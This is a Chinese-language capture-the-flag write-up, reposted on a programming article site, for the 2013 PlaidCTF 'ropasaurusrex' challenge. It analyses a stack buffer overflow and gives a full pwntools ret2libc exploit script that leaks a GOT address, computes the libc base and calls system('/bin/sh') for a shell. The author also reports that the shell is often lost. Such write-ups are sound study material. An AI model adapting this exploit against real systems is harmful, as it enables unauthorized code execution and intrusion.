欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【PWN系列】2013-PlaidCTF-ropasaurusrex

程序员文章站 2022-03-27 20:41:22
...

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

分析

将文件拖到ida里分析。
【PWN系列】2013-PlaidCTF-ropasaurusrex
这里有一个ReadStr函数,进去看看,明显的可以溢出。buf大小只有0x88,但read接收256个字节。

【PWN系列】2013-PlaidCTF-ropasaurusrex
代码不多,但知识不少。只开启了堆栈不可执行。

【PWN系列】2013-PlaidCTF-ropasaurusrex
根据题目名字和程序,可以看出这个题应该是ret2libc。

利用

思路:

  1. 程序里有read和write函数。可以利用write泄露read的got地址。然后计算libc的基址。
  2. 得到ibc基址,算出system地址,利用read函数将/bin/sh写入bss段
  3. 得到system地址后,参数是bss段的/bin/sh,获得shell。

注意:因为是在本地运行,libc用/lib32/libc.so.6

Exploit

from pwn import *

p = process("./ropasaurusrex")
elf = ELF("./ropasaurusrex")
libc = ELF("/lib32/libc.so.6")
context.log_level = 'debug'

read_plt = elf.plt['read']
write_plt = elf.plt['write']
read_got = elf.got['read']
bss_base = elf.bss()

pop3_ret = 0x080484b6 
vuln_addr = 0x080483F4

payload = ""
payload += "a"*0x88+"b"*4
payload += p32(write_plt)
payload += p32(pop3_ret)
payload += p32(1)+p32(read_got)+p32(4)
payload += p32(vuln_addr)

p.sendline(payload)
#print p.recv(1024)
read_addr = u32(p.recv(4))
print(read_addr)

libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']

payload = ""
payload += "a"*0x88+"b"*4
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)+p32(bss_base)+p32(8)
payload += p32(system_addr)
payload += 'bbbb'
payload += p32(bss_base)

p.sendline(payload)
p.sendline("/bin/sh\x00")

p.interactive()

【PWN系列】2013-PlaidCTF-ropasaurusrex
但我遇到一个问题,如果去掉context.log_level = 'debug',很少时候可以得到shell。大部分时候只能执行一次就失去shell了。如果有大佬知道,希望在评论区指导一下。谢谢

【PWN系列】2013-PlaidCTF-ropasaurusrex

欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

【PWN系列】2013-PlaidCTF-ropasaurusrex

相关标签: pwn